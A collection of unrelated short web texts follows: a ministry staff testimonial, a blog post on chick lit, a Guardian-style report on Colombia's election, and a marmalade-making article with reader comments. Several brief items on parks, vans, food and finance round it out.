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Products of Makarios: Blessings
Bella Lopez Martinez, Makarios Staff
It is a pleasure for me to be able to talk about what Makarios has been in my life.
And the answer to the question, "What has Makarios produced in your life?" is short and sweet: Blessing. But that would not be sufficient to leave it at that. Oh what God has done through Makarios! I knew of Makarios because my friend Marnelia was working there. She and I attend the same church and she was the one who introduced me to Makarios. At that time my husband nor I were working nor did we have a place to live. Someone lent us a room in their house for us and our two kids to live. I had no idea all that God had prepared for us.
I then decided to go to the Makarios School to ask if there was need for Christian people to work and to not make the story so long, they hired me as an assistant to the teachers. Then the following year they made me the head teacher of the classroom. It is in this moment that the big trials started. I had two miscarriages, I wasn't able to pay my bills at the hospital, but God had selected people to help me pay that debt. Then I broke my right hand and my knee also.
But Makarios was also with me in those moments. Though I have experienced hardships, I have also seen how the love of God has been there through all the people who were giving of themselves without complaint. I believe that without the help of God and without the help of these people who know how to love and help that I would not be in my 6th year of working with Makarios. Through the special people that God has here my husband works for Makarios and the blessing of Makarios has spanned the generations of my family. My family is verrrrrrrrrrry thankful to God for allowing us to be a part of this very special family. Makarios has taught me to not need to just understand God, but to obey God also.
I am working as an administrative assistant this year. My husband is a chaufferr for the school. My daughter is a student at Makarios. We are in charge of the worship at Makarios activities, but it isn't just what Makarios has given us physically, but spiritually we have learned by the example of the leaders who recognize God who is bigger than culture. We are a blessed family. We are a family that God has chosen to be a part of Makarios and we want to be a blessing to Makarios. God is faithful and good. My family is always praying for Makarios and for the people who support this ministry.
Makarios has incredible staff who love the Lord, the students and each other! If you have had the opportunity to interact with Makarios and have experienced the product of blessing as a result, would you send some encouragement and leave a comment? For more information on what Makarios is about, click here.
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A desire path can be a path created as a consequence of erosion caused by human or animal foot-fall or traffic. The path usually represents the shortest or most easily navigated route between an origin and destination.
We've all seen it; grass worn away where the path you re "supposed" to use is ignored in favour of a shorter route.
Why is this significant?
It represents choice. It represents quite literally "following your own path" which is so important to finding happiness in life.
Where the man made path represents the things you "should" do and what "everyone else" is doing, the desire path represents individuality, exploration and creativity.
Taking risks, learning, trying, growing; these are all desire path activities; the desire path leads you to what you want in life, whereas the pavements will lead you to where everyone else wants you to go.
Take a moment and ask yourself: are you sticking to the pavement or are you following your desire path?
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|Accueil > Détermination des performances dynamiques du capteur de courant LAX 100-NP de LEM avec Flux2D/3D
The aim of this project is to study the LEM current transducer LAX 100-NP and to determine its dynamic performance using the finite element software Flux2D/3D. Firstly, the secondary impedance of the transducer is simulated, and the results are compared to the measurements. For Flux3D simulations, according to the strength of the diffusion effect in the magnetic circuit, two formulations are used depending on the frequency.


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Reverend Wairimu is the founder and director of Faith Evangelistic Ministries and a great symbol of faith in the nation of Kenya and the world. Known for her passion and exuberance when sharing the Gospel of Jesus Christ, Evangelist Wairimu has established herself as a spiritual leader within the nation of Kenya. After a divine visitation in 1985, Rev. Wairimu's ministry was jet propelled and translated into a blessing for so many people around the world.


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Chick Lit: A question unto itself?November 2, 2011
You know you're emerging from an unproductive period when you find yourself arguing internally about whether or not to blog a link that has been sitting on your desktop for a month. Er, right. Never mind. This isn't about me.
Rather, let us start with Roxanne Gay, who tries to scrabble together an overview of a question that recently rippled through the publishing world:
When you write a book with the title It's A Man's World, with the tagline "but it takes a woman to run it," you have to have some sense that your book is going to be marketed in a certain way. I haven't read the book in question, but the title certainly gives an impression. Maybe it's just me but when I see that title, I think "chick lit." I also enjoy "chick lit," so that label is not a bad thing. That book's author, Polly Courtney, recently had a very public reaction to how her book was being marketed as "chick-lit," announcing she was leaving her publisher, Harper Collins, so her writing wouldn't be pigeonholed. As writers, we often have to worry about whether or not our work will be pigeonholed based on some aspect of our identity. No one wants their creativity limited or misrepresented; pushing back against rigid, often unfair categories is a natural response for a creative person.
In her explanation for why she was leaving her publisher, Courtney distinguishes between women's fiction, which she writes, and "chick lit," which she very much does not. I gather that women's fiction is serious while "chick lit" is not. She writes, "Don't get me wrong; chick-lit is a worthy sub-genre and there is absolutely a place for it on the shelves. Some publishers, mine included, are very successful at marketing this genre to women. The problem comes when non-chick lit content is shoe-horned into a frilly "chick-lit" package. Everyone is then disappointed: the author, for seeing his or her work portrayed as such; the readers, for finding there is too much substance in the plot; and the passers-by, who might actually have enjoyed the contents but dismissed the book on the grounds of its frivolous cover."
Depending on the content of the book in question, Courtney is correct in noting that disappointment is possible for everyone involved in the consumption of a book. At the same time, isn't a cover is just a cover? Eventually, the writing speaks for itself and either readers will like the work or they won't. Readers are fairly sophisticated these days, aren't they? I would like to believe readers will, more often than not, have a good sense of what a book is or isn't about no matter what is emblazoned across the cover. Unfortunately, such does not seem to be the case and certain books are burdened by covers that alienate certain audiences.
For her own part, Polly Courtney explained the decision to leave HarperCollins in The Guardian:
The term "women's fiction" has been adopted by publishers and retailers alike as a shorthand for fiction that involves shopping sprees, bodily insecurities and the hunt for Mr Right. No – hang on. That's "chick lit", isn't it?
This is the problem. The line that used to define "chick lit" as a sub-genre of women's fiction has blurred, giving publishers the authority to brand huge swathes of fiction in pink and green swirly covers, on the assumption that this is what women want. As Margaret Carroll, a fellow ex-HarperCollins author, put it: "Very ironic to find this is an industry run by women."
I do not labour under any illusion; my novels are not literary masterpieces – but nor are they chick-lit. So, you may ask, why did I sign with an imprint that specialises in high-volume commercial fiction? The answer to this lies in the way that we are trained, as authors, to believe that even so much as a glance from a traditional publishing house is an honour and a privilege. They are the experts. They know more about books than the authors do themselves. We should be grateful that a prestigious publishing house will give us the time of day. It is like a gift from God when a book deal lands in our lap.
I don't know, so I'll leave it to everyone else to figure out. In truth, I don't delve deeply into "women's fiction" or "chick lit". But I can at least offer two points about the question. "Chick lit" sounds derogatory to my ear, in part because it is virtually homophonic to a brand of tiny, square lozenges of chewing gum. Never mind. It probably has more to do with the dismissive tone with which men describe films as "chick flicks". (I mean, really, have you actually seen the cinematic disaster known as Chantilly Lace? I mean, you'd think, with that cast … er … right. Never mind.)
But maybe the chick flick aspect is part of the problem. And, of course, maybe I have a distorted view of chick flicks in general, since I'm not the target market. But it seems to me that there is a fundamental difference between valences. Women's fiction, as such, tends to fall under that vague notion of "mainstream" literature, while chick lit seems more a superficial sales genre. Women's fiction might capture a moment in time, while chick lit depends on that moment. Sarah Orne Jewett's classic Country of the Pointed Firs might well be considered "women's fiction", but it is also treated as literature alongside William Dean Howells, Charles Chesnutt, and Willa Cather. When one says women's fiction, I might think of Joyce Carol Oates or Alice Walker. When one says chick lit, yeah, I think of my mother cracking up over a Janet Evanovich novel involving old women farting in hot pants.
Here's a question, then, for the ages: Is Anita Shreve's debut novel, Eden Close, a mystery, women's fiction, or chick lit?
Or Alice Walker actually serves as a great example here. Is Alice Walker …
- … a great black author?
- … a great female author?
- … a great black female author?
- … a great author?
The problem with certain labels is that they can shape the definition of an artwork. Perhaps Meridian is a good example of "black literature", but it's also a damn good story, damn well written, and deserving of classification as literature without any especial adjectives.
I do see a difference between women's fiction and chick lit, but it's a hard one to explain. It even brings to mind a feminist term of extremely limited usage, "herstory", which attempts to describe history through women's eyes. But one cannot hold that the difference is whether a women's fiction story rises to the level of literature, with all that implies; it is too high a standard. There is plenty of mainstream (tacitly, I suppose, for our purposes), "men's" fiction that neither fits any particular genre nor rises to the level of fine literature. But men's fiction brings to mind Mack Bolan novels, or the gratuitous, even useless sex scenes in Dean Koontz stories.
Perhaps the great lesson here, of course, is that I'm rambling, and really should take up the habit of review and revision instead of simply posting one-drafters, but, as noted, this isn't about me.
Women's fiction. Chick lit. Literature in the context of the literary masterpiece. I can't tell you specifically what chick lit is, but I know that the phrase ought not apply to Alice Walker, Joyce Carol Oates, or even Jane Yolen. At the same time, it's hard for me to not sound like I'm disparaging chick lit. So, right. Never mind. I'll leave it to everyone else to hash out.


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From Apache Friends the Xampp-lite Moodle installation package is a one stop installer for Apache, PHP, MySQL and Moodle. Originally developed for its simplicity of installation, Xampp-lite was designed, essentially, for stand alone computers using Windows, so that courses could be developed offline. It is generally agreed that it is not a suitable environment for a production site.
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Polls show Mr Uribe holds a comfortable margin over his closest rivals in this weekend's presidential election and appears likely to avoid a second round vote that would be triggered if he fails to get more than 50% of the vote.
An Uribe win would be welcomed by the US as a counterbalance to the growing anti-American nationalism in the Andean region.
Mr Uribe remains a staunch ally of the US, which bankrolls the fight against the booming drugs trade that funds Colombia's 40-year-old war, in which leftist rebels are pitted against government forces and rightwing paramilitary groups.
Despite a promise not to sabotage the elections, the country's most powerful rebel group, known as Farc, has made its presence felt in the run-up to the vote. Rebels have blockaded highways with burnt-out buses, bombed an oil pipeline and cut power to the country's most important port city.
For Mr Uribe's critics, the rebels' actions indicate that the president's "democratic security" policy is not working. But for his fervent supporters the bombs are proof that they need to give Mr Uribe a chance to consolidate the gains he has achieved in his first term.
Polls show that many Colombians feel safer today than they have for years. Once one of the most violent countries in the world, Colombia has seen the number of kidnappings and murders plunge, while the economy has surged. Still, violence rages in swaths of the landmine-littered countryside, where the government has little control. And critics say that in the zeal to crack down on guerrillas, many innocent civilians have been falsely jailed.
Former magistrate Carlos Gaviria, the candidate for the left-leaning Polo Democratico Alternativo party, has run on a platform criticising what he calls Mr Uribe's authoritarian tendencies and his neo-liberal economic policies, a message that has resounded with a growing number of Colombians, surprising pollsters. From single digits just a few months ago, the leftist candidate has surged in polls to nearly 20%.
In an interview with the Guardian, Mr Gaviria said he is an admirer of the social policies of Venezuela's leftist President Hugo Chávez, but that each country had to look for its own solutions to its specific social problems.
"Uribe has made rich people feel there is more security so that they can drive on a highway to their vacation homes, but where is the food security for the poor?" Mr Gaviria said.
But no amount of criticism by the opposition, or policy setbacks that have tainted his administration appear to hurt Mr Uribe's popularity.
Under Mr Uribe's administration more than 30,000 rightist paramilitaries demobilised as part of an initiative that grants reduced sentences to militia members responsible for some of Colombia's most brutal crimes.
Mr Uribe has said he is willing to offer the same treatment to the country's two leftist rebel groups as well. The ELN rebel group is in preliminary peace talks with the government but Farc has refused to negotiate with Mr Uribe's government.
Farc is urging voters to cast their ballots for the candidate who has the most "coherent proposal for peace", implying anyone but Mr Uribe. They have rejected his most recent overture to accept some rebel conditions for talks on a exchange of jailed rebels for dozens of high-profile hostages being held in jungle camps.
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Political analyst Fernando Cepeda sees little prospect for any sort of peace talks with Farc in the next four years if Mr Uribe does win. "The Farc has cut off all connection to Uribe's government," he said. Colombia has seen the number of murders fall by 37% to 18,039 last year, while kidnappings have been slashed by 72% since 2002. The economy has grown rapidly, with the gross domestic product expanding by 5.13% last year. Increased security has seen a rise in both foreign and domestic investment and consumer demand. But 300,000 people a year continue to be internally displaced by the conflict. The area under coca cultivation rose by 26% last year. More than 30,000 rightwing fighters demobilised but turned in only 13,000 weapons.


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Yeah, the Lady came back to SEE me…… some 24 hrs after I did the healing hands on myself.
While I won't go into the vision dream to much, I was lead to a farmyard, attacked by loving fawns and older deer, and children. The Unconditional loving energy was thick around me. Then I felt the presence of The Lady of San Juan de los Lagos. I turned and looked at a Spiritual Being, void of any church marking, beaming approval of my healing myself. again NO CLAIM ON ME, just approval. I was asked how many deer were around me, I counted and said 5. The children were laughing and playing on top of me and the deer. The number 5 is a number in Tarot cards of trials and spiritual work in progress. This place is a spiritual trial for me.
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How to make marmalade
Making marmalade at home is a cool thing to do, up there with baking as a skill that gives you a certain pride in conversations. Unlike our grannies, we don't have to aim to supply the neighbourhood with dozens of jars or pad out the oranges with pectin-rich carrot or turnip as they did in the war years. We can use good ingredients, make just enough for ourselves and friends, and feel rightly pleased that this little act of self-sufficiency showcases our kitchen abilities rather well.
As with bread baking, we've found out a little more about the science that creates the 'jellied set' and keeps the peel tender rather than tough. This means that making marmalade well at home is much less problematic than it used to be. So we can banish runny unset syrups and leathery peel to history. Today's marmalade should be able to sit like jelly and glisten, packed with a rich bittersweet flavour all fairly effortlessly without hours of sugar boiling.
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Seville oranges, the particular type of citrus fruit used in marmalade making, are rich in a natural substance known as pectin. You may have seen it in bottles at the supermarket, often made from apples or sometimes lime skins. When pectin is combined with sugar and acid - like lemon juice - and boiled to 105C/220F, it forms a suspension that sets as it cools. Cook above that temperature and you might damage the pectin, take the temperature well below that and the pectin might not gel.
But first of all you have to release the pectin from the pips and peel, mainly the white bitter part of the fruit. The longer the pips and peel sit in water the more pectin will be released. The way that preserving guru Pam Corbin, a patron and judge at the annual Marmalade Awards in Cumbria, suggests is to cut the Seville oranges in half, squeeze all the juice out, then slice the peel thinly and cover it with the juice and extra water. Leave that for 24 hours before cooking, with the pips soaking separately. Others go for cooking the oranges whole first, then leave them to cool in the water for 24 hours, before removing the oranges and shredding the peel.
My recipe for medium-cut Seville orange marmalade explains how to get the proportions of oranges to liquid and sugar right. My mum would measure it to the eye and get it correct most times, but then she's a marmalade machine. If you're like me, only making it occasionally, then weighing and measuring is the best way.
I advise keeping the boiling time short. First it avoids damaging the pectin. Second, if you boil the sugar and peel for a long time you are more likely to harden the fibres and make the peel tough. But the other reason is when you boil sugar and an acid together for a long period you cause the sugar to "invert" and this can affect the set. The acid of the lemon is essential for creating the pectin set, so if you add less the gel may not form and the flavour will be too sweet.
It's essential to have a big enough pan. When everything is in the pot, it should be filled halfway up, no more, so that when it boils up the mixture stays in the pan, and doesn't boil all over your hob and risk scalding your hands. Treat yourself to a large marmalade pot, often called a maslin pan, or cook the marmalade in smaller batches. Boiling hot marmalade will burn if it hits your skin, so better to be careful.
When it comes to testing the set, I've never had much luck with getting marmalade to set on a saucer in the fridge, or getting it to drip in sheets from the spoon. If you haven't got the mixture right to begin with no amount of continuous boiling will make it set. Though you could leave it to cool, add liquid pectin and bring it to the boil again. Tiptree make a tawny marmalade that is cooked twice, so you'd be in good company.
Once you've made marmalade once, you almost won't need a recipe. Afterwards, anything from marmalade sponge pudding with cardamom custard to a marmalade Martini will have that touch of pride mixed with it.
So tell me, have you made marmalade this year? And do you have any tips to share?
Dan Lepard is a food writer for the Guardian and a baking expert.
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Comment number 1.At 14:57 28th Jan 2011, akamolly wrote:
I used to add a tablespoon of black treacle to the jam pan just before putting it into jars. This would be enough for 4lbs oranges recipe. It added a lovely undertone and deepened the colour.
Comment number 2.At 16:02 28th Jan 2011, GillthePainter wrote:
Hi Dan
I made my novelty marmalade recipe a little too savoury at first.
And needed to add more sugar.
When I added 100g, the boiling mix foamed rather alarmingly, & foamed more as I stirred, up to the top of my pan.
Any tips on adding more sugar if you need to, without cooling the marmalade first?
Comment number 3.At 17:25 28th Jan 2011, Dan Lepard wrote:
Hi akamolly,
Like a touch of black treacle, and you're right, it's all about using a small amount for a subtle ooomph to the flavour. Tarry dark treacle isn't my thing.
Hi Gill,
There is this tremendous boil-up when you first add the sugar, and I'm not sure it's entirely avoidable other than using a pan that allows for the mixture to triple in height without reaching the top. This is where preserving pans have an advantage, as they're so big.
Comment number 4.At 08:40 29th Jan 2011, Bibsinspain wrote:
Perhaps you should send some to Victoria Beckham as she's eating so much during her current pregnancy! LOL.
Comment number 5.At 10:09 29th Jan 2011, saffiewalks wrote:
What was wrong with grannies making enough marmalade to suppy to friends and neighbours, seems like a nice thing to do to me? I also make lots, I keep some, some is given as gifts to very appreciative friends and neighbours, and some is sold to raise money for charity.
My current favourite is Mary Norwak's ginger marmalade recipe - works well, sets brilliants and tastes extremely good.
Comment number 6.At 14:18 29th Jan 2011, MaryH78 wrote:
I have seen so many articles on the brilliance of marmalade in the past few days that I am hoping this is the start of a big campaign to raise its popularity. I read the other day that marmalade sales have really dropped in the past year as people aren't eating it anymore, so I hope that all the publicity it is receiving is reminding people of how delicious it is. My friend just gave me a jar of homemade whisky marmalade, which I have been eating on french baguette with some Camembert cheese. This is a delicious combination that I highly recommend. I have never actually tried to make it as I always thought it was really tricky, which I think came from watching my grandma made a real song and dance out of it, just as she did making the Christmas pudding! But I think I will give it a go, it is so satisfying to be eating your own homemade marmalade!!
Comment number 7.At 21:28 30th Jan 2011, Mamta wrote:
I have made my saville marmalade this year using the pressure cooker method, with just a hint of chilli (2 scotch bonnet chillies to 1.5 kg. oranges). It is a bit like the American style jelly with chilli that I made last year. It is slightly under set, but is delicious. Everyone who has tasted it loves it.
MaryH78, I made whiscky marmalad, using mamade tins, a few years back for a charity sale, it sold out within minutes! I think it was just the name whisky on the label that did it!
Comment number 8.At 08:33 31st Jan 2011, Dan Lepard wrote:
Saffiewalks, of course you're right, nothing writing with grannies cooking up vats of marmalade and much that's commendable about it. But articles and recipes that suggest we all do the same don't take into account different lives and needs. It takes a brave soul to make their first swing at marmalade making with a 15+ jar recipe. Often it takes a small batch recipe to tempt a beginner. Mary Norwak, a great talent and vastly under-rated.
MaryH78, I think you're right and it's partly down to self-sufficiency and feeling that - even if some home cooking isn't as economical as buying ready-made from the supermarket - it feels much more empowering and "right" to make it yourself.
And, lovely Mamta, following on from that I feel a surge in pressure cookers coming up. Makes cooking the peel to tenderness so quick and easy.
Comment number 9.At 14:52 31st Jan 2011, Diane wrote:
I have just finished my very first 2 batches of marmalade, the second a much better effort so currently have 12 jars in my pantry. I want to make more but am worried about getting all the jars and storing it. Then my husband informed me that his mother used to make loads but only to the stage before adding the sugar and then froze it all. She would then make more once the first batch was finished. This seems like a great idea. I have enough room in the freezer but was wondering how this might effect the finished product or will it make no difference at all. I also wanted to say that the satisfaction I have got from make my own is enormous and would encourage others to have a go. It tastes soooo much better than anything in the shops.
Comment number 10.At 16:44 31st Jan 2011, dogsbody wrote:
This is the second article I've seen recently (the other being Hugh F-W's in the Guardian) that mistakenly claims that Pam Corbin advocates boiling up the orange pips to improve the set. This is not the case. In fact, quoting from page 55 of Preserves by Pam Corbin:
"For generations, marmalade-makers have cooked up the mass of pips found inside citrus fruits in the belief that they are full of pectin. However, most of the pectin is actually found in the citrus peel and I rely on this for the setting power in my marmalade."
Comment number 11.At 17:50 1st Feb 2011, Dan Lepard wrote:
Hi Dogsbody,
I spoke with Pam at length before writing this article, as I have on many occasions over the past years, and didn't believe I misquoted her from what she told me. So I called her this morning to check and explained what you'd pointed out to her. Here's what Pam told me today:
"When I wrote my preserving book I wish I'd had more space to explain some recipes in more detail, and the marmalade recipe in particular, as there are so many different approaches. The two certainties we know is that both the pips and the peel contain pectin, and that the peel contains much more pectin than the pips.
If you soak the pips overnight you will extract pectin from them, and if the pips and their soaking liquid are boiled with the peel you will get a slightly firmer set. But what I wanted to avoid people doing is simply soaking the pips and leaving out the bulk of the peel, thinking that the pips had some enormous setting ability. I rely on the peel for the setting, and the pectin in the pips is an extra bonus.
The beauty of marmalade making is that it relies on the whole fruit for the best result, meaning that almost nothing gets discarded - other than the spent pips - and this will give you a richly flavoured set preserve.
There is a simple way you can observe the action of pectin in the pips:
Strain the pips from 5-6 Seville oranges, place them in a cup, barely cover them with water and leave for 24 hours at room temperature. At the end of this time the water will have lightly set into a delicate jelly. My view, and Pam's view, is that the best place for that jelly is your marmalade pan.
Comment number 12.At 09:10 2nd Feb 2011, Maryharri wrote:
I'm also in the middle of my annual marmalade making and it's always good to read everyone's experiences and tips. To anyone thinking about trying, it's well worth the effort and not difficult - you just need to set aside some time when you will be around the house for a while. DIANE I wouldn't worry too much about your marmalade keeping - I have found that mine will keep well into the second year, that's if I've overdone the amount. I make sure everything is sterile as far as possible to avoid mould forming eg. I run boiling water over the inside of the lids just before sealing the jars. DAN I'm no expert, but I do use the cold-plate-in-the-fridge as a guide to when I'm getting close to the setting point, also, I find that the marmalade seems to start spitting with a bit more vengeance when it's about ready. Above all, every batch is slightly different, which I think is one of the added pleasures.
Comment number 13.At 21:16 8th Feb 2011, bridgetfinzi wrote:
Dan, I tried a Delia marmalade recipe last week and it just won't set. I used pips for the pectin, then as this failed I went out and bought a bottle of pectin. This too hasn't worked. Did you mention back there that the liquid pectin needs to be boiled before it gets activated? I suppose I could put it back in the pressure cooker for a fourth time... Please advise. Thank you.
Comment number 14.At 12:19 9th Feb 2011, Dan Lepard wrote:
Hi bridgetfinzi,
Adding liquid pectin with lemon juice will (have confidence!) make your already cooked marmalade set but you must work out the right proportion, and this will vary from batch to batch.
To test how much just take 500ml of your marmalade - it's ok if it's already in the jar, just spoon it back into a saucepan - and add 25ml liquid pectin like Certo and a tablespoon of lemon juice, bring to the boil and cook until the temperature reaches 105C. Then pour this back into the washed jar and leave 6-8 hour to judge the set. If it's still too soft add a little more Certo, if it's too soft add less.
The reason you've got into this situation might be that you (a) needed slightly more lemon juice, and (b) that you had too much liquid left after cooking the oranges. The trick is to strain the liquid off the peel and boil it further until it measure twice the weight of the original fruit. So if you start with 900g of oranges you want to reduce the cooking liquid after straining the peel until it measures 1.8 litres before adding the sugar.
Comment number 15.At 15:06 9th Feb 2011, Dan Lepard wrote:
Ooops...my comment above should say "If it's still too soft add a little more Certo, if it's too firm add less." But hopefully you guessed that.
On the set you can achieve: just relying on the pectin found naturally in Seville orange peel, pith and pips you should get something like this:
made using our recipe here:
The rather firm, almost rubbery set, you get in some commercial jams and marmalades is created with added pectin, so don't expect that result from your home-made Seville marmalade if you're relying on the fruit alone.
Comment number 16.At 11:40 10th Feb 2011, gillnst wrote:
Hi We have had our second disaster with our first attempt at marmalade making. First it set like concrete and had a job the get it out of the jars and now it is like water! We have left it stood in the jars, as we were so disappointed, since Monday as I was going to throw ia all away, again! Bu t reading your comment about returning to the pan and adding pectin I wondered if it is too late for us to try this?
Comment number 17.At 16:33 10th Feb 2011, Maryharri wrote:
Gillnst - what a shame you're not having any success. When I boil up my oranges & water (with pips in muslin) I mark the depth on my wooden spoon, measure half the depth and boil until it reaches the halfway mark. I use the cold plate/wrinkling method to judge the set as it should turn out reasonably well over a range of 'sets', some firmer than others, but nice to have a bit of variety.
Comment number 18.At 08:17 14th Feb 2011, Dan Lepard wrote:
Hello Gillnst, not too late: use the test method in my comment above to work out how much pectin to use, then re-cook the mixture with the extra pectin to 105C, clean and heat the jars again, cool the marmalade slightly then pour it into the jars and seal immediately.
Maryharri...great tip about the wooden spoon. One of the winners at the marmalade awards yesterday told me she uses a chopstick.
Comment number 19.At 08:29 17th Feb 2011, youngra wrote:
Dan, you make no mention of reduction. By reducing twice by a third, once before the sugar is added and again afterwards, I have no problem with setting. I soak everything except the sugar overnight as you say but use no lemon or additional pectin. I use a lot less sugar than any recipe I have seen and make certain it is dissolved completely. The second reduction caramalizes the sugar, which makes it quite dark. Regular stirring prevents it burning.
Comment number 20.At 17:49 18th Feb 2011, Dan Lepard wrote:
Hi youngra,Reducing the liquid is written about at length in our recipe on the bbc site, but reducing is somewhat dependent on the amount of water you start with. It sounds like you have a cracking recipe! Not using lemon is very interesting. For most of us acid is needed to get the pectin to set but you might have hit on a new discovery there. I'm guessing you like your marmalade dark and chunky, or "meaty" some call it?
Comment number 21.At 21:12 20th Feb 2011, youngra wrote:
Dan, I do like it dark but it doesn't have to be chunky. I'm too lazy to hand chop the peel and blitz it in the food processor. I have to be careful not to overdo it, though. About 5 to 10 seconds is enough. My first batch this year, for instance, was much too blitzed, resulting in very small pieces of fruit in the marmalade. Not quite right, but still caramalised nicely. And set nicely. Nothing new about it, though. My mother was a great experimenter. She tested a number of recipes in the fifties and sixties and arrived at one that worked, which I still use. I have now inherited the marmalade duties for the whole family and have made as much as 120 lbs in a year. All in small batches in Jan and Feb. This year I have made about 40 so far and have fruit for another 60 in the freezer for use later. Richard
Comment number 22.At 21:42 22nd Feb 2011, Pam_Corbin wrote:
A useful tip to help your marmalade set, is to add, after the peel has been softened, some finely grated cooking apple. Allow approximately 200-250g (a good sized Bramley) of apple for every kilo of fruit used. It is important to use cooking apple because the flesh will simply dissolve into the gell. You will find by doing this your marmalade will set easily at a lower sugar content than without. Use this tip when making other citrus marmalades ie sweet orange or grapefruit - these fruits are not as pectin rich as the glorious Seville, but nonetheless, can be used to make delicious marmaldes throughhout the year.
Remember, there are always variables when making any preserves; size of pan, quality and quantity of fruit used, rolling boil etc., but given time, patience and understanding of the process you will take much satisfaction in the golden beauties you can store away for the year ahead.
Comment number 23.At 03:42 28th Feb 2011, weew wrote:
Hi Pam and Dan,
THis post couldnt have come at a better time. I'm new to marmalade. Did one batch two weeks ago and it was good. tried another formula this time (using the soak peel,etc in water overnight method) and disappointingly it didnt set. I suspect it's the water to sugar ratio. I had my doubts but it came from a reliable source so i went ahead.
So first of all, can someone point the link to the BBC recipe out to me? It's probably right in front of my eyes but i've managed to miss it.
Second, some recipes call for using the boiling the pulp with the sugar; others discard the pulp along with the pips. Does this make any difference other than the texture of the product?
Third, Pam you say one could use less sugar if adding an apple. I'm absolutely interested in this. I would like to use as little sugar as i can possibly get away with. But how much less, Pam? And what is the usual ratio?
Fourth, to rescue my slightly runny marmalade, if i'm unable to get hold of liquid pectin, can i reboil it with an apple and some lemon juice and sugar? I was even thinking of cooking an apple down to apple butter stage sort of, and adding it to the marmalade, not so much as a bid to get it to set but just to thicken the mixture, lend it some body so to speak. Or even being lazy and just adding apple (or some other fruit) puree. Has anyone ever tried this?
thanks! Dan i use your bread recipes all the time. You are a jam (haha, couldn't resist)
Comment number 24.At 23:40 21st Sep 2011, teresa wrote:
hi dan I am new at making jam and marmalade, my niece gave me this recipe and it was a failure it did not set. hers turns out well. is it because I use navel oranges? i also add lemons to the mix I had to reboil and add jam setter can you help?
Comment number 25.At 05:24 19th Oct 2011, Dan Lepard wrote:
Hi Teresa,
Yes, it could be using navel oranges that stopped it setting. Navel oranges have very little natural pectin, though they can make a lovely sweetish orange "jam" if set with pectin or mixed with a pectin rich fruit like Bramley apple. Here in the UK we're coming up to Seville orange season again (late December - March) so you can try again, or if you live outside the UK you might want to try the recipe with more thick-skinned lemons and grapefruit. Thicker pith (the white part of the peel) often means more natural pectin, and a better set.


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Seven state parks reach capacity
Seven state parks have closed to new cars on Sunday.
Miller's Pond State Park reached capacity at 10 a.m., while Squantz Pond State Park in New Fairfield filled at 11 a.m., according to the state Department of Energy and Environmental Protection's Twitter.
Rocky Neck State Park in East Lyme, Pattaconk Lake State Recreation Area and Wadsworth Falls State Park in Middletown closed to new cars by 12:50 p.m.
Bigelow Hollow State Park in Union and Gardner Lake State Park filled to capacity by 2 p.m.
More parks closed on Sunday than on Saturday, when five parks reached capacity.
Miller's Pond, Squantz Pond, Rock Neck, Wadsworth Falls and Mount Tom State Park closed to new cars on Saturday, but Pattaconk, Bigelow Hollow and and Gardner Lake did not fill up.


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Vans are key players in the logistics chain, enabling the 'last mile' delivery of goods in urban areas. Largely used by SMEs as business tools, vans power the European economy, helping businesses to thrive.
- There are some 29 million vans on the EU's roads today.
- 2.2 million vans were produced in the EU in 2016.
- Diesel vehicles continue to make up the vast majority of new van registrations, making up 96% of sales.
- Some 1.7% of the current van fleet is powered by alternative powertrains.
- European vans are increasingly popular around the world. In 2016, 347,108 vans were exported, worth more than €4 billion.
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Ear cleaning can help treat or prevent ear problems. Some pets are prone to ear problems and may need regular ear cleanings between veterinary visits. Ear cleaning can help remove dirt and wax that can prevent medications from reaching inflamed areas. It can also get rid of allergens and microbes that may contribute to inflammation or infection.Read More
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Carrots with jasmine blossom
Fine carrot jelly, light carrot purée, jasmine blossom yoghurt with Voatsiperifery pepper.
I love working with vegetables: beets, cabbage, asparagus… and these are only some from the list. For me they are, to some degree, a symbol of nature's generosity and at the same time a simple product, which I like elevating to a fundamentally different and higher level.
The work with vegetables sincerely envelopes me. I have always wanted to deliver the taste of carrot, a popular and common root crop, whose crispness and slight sweetness reminds me of my childhood. I have been imagining a dish with the raw vegetable as an ingredient, since I often ate grated carrots as a child and these memories are firmly stuck in my memory. The jasmine blossoms were the first addition, and several years ago, I complemented them with green peas.
The combination of carrots and jasmine creates the impression of sweetness and tenderness, which I smooth with the slightly sour taste of jasmine blossom yoghurt. Voatsiperifery pepper from Madagascar gives a note of spice and freshness.
Despite the fact that the dish consists of one major ingredient, it is not the least bit monotonous! I use a variety of carrots (depending on a garden and season!) including the "carotte des sables", the Deep Purple, the "Jaune du Doups", the Purple Haze, and the White Sarin, which all have different structures, colors, and levels of sweetness.
In this dish, I play with textures as well. I make carrot jelly from fresh carrot juice. The tender yoghurt is made of milk infused with fresh jasmine blossoms.
The tender carrot purée is reminiscent of whipped cream. The wild Madagascar Voatsiperifery pepper, added at the last moment, continues the floral flavor of jasmine and slightly sour taste of yoghurt.
This dish is my own interpretation of sweet and sour, a concentration of freshness and a slightly sour taste.


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There's a reason why the Kahala Hotel & Resort on Oahu has been nicknamed "Kaha-llywood."
It's been a favorite of celebrities since its opening in 1964, with A-list guests such as Lucille Ball, Cameron Diaz, Mick Jagger, Sir Elton John, Michael Jackson, Alec Baldwin, Drew Barrymore and Sean Penn.
Need we say more?
So it's no surprise the luxury hotel decided to add some of its Hollywood glitz to its The Kahala Wine & Food Classic: Hollywood Goes Hawaiian, running from Sept. 16 and 17 at its 6.5-acre property in upscale Kahala.
Chateau Marmont executive chef Carolynn Spence and one of Napa Valley's most popular vintners, Rich Frank, owner of Frank Family Vineyards and producer of USA Network's "Royal Pains" and FX's "Wilfred," — both shown below — headline this two-day event, which includes gourmet dinners on both nights, a cooking demonstration an wineology seminar on Saturday morning, a cigar experience on Saturday afternoon, and a cigar-tasting experience following dinner on Saturday night. All events are sold separately and open to the public.
Spence is a self-proclaimed "old punk rocker" with tats of artichokes on her forearm and a passion for the English punk rock band, The Clash. She's earned a reputation for pushing the gastronomical envelope since taking over the culinary team at Hollywood's ultra-hip Marmont restaurant and neighboring Bar Marmont gastropub.
She is joined by Frank, whose vineyard was voted Best Napa Winery two years in a row, is a household name in Hollywood. His vineyard boasts more than 200 acres of the finest land in the valley and has one of the most popular tasting rooms in the area.
Event costs range from $50 for the post-dinner cigar experience on Saturday night to $150 for a gourmet dinner prepared by Spence.
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MUMBAI: In a move to widen the corporate bond market, SEBI plans to attract market makers by offering them tax incentives. Even the earlier provision for filing shelf prospectus may be reintroduced to encourage more companies to issue bonds, said a senior SEBI official involved with the process.
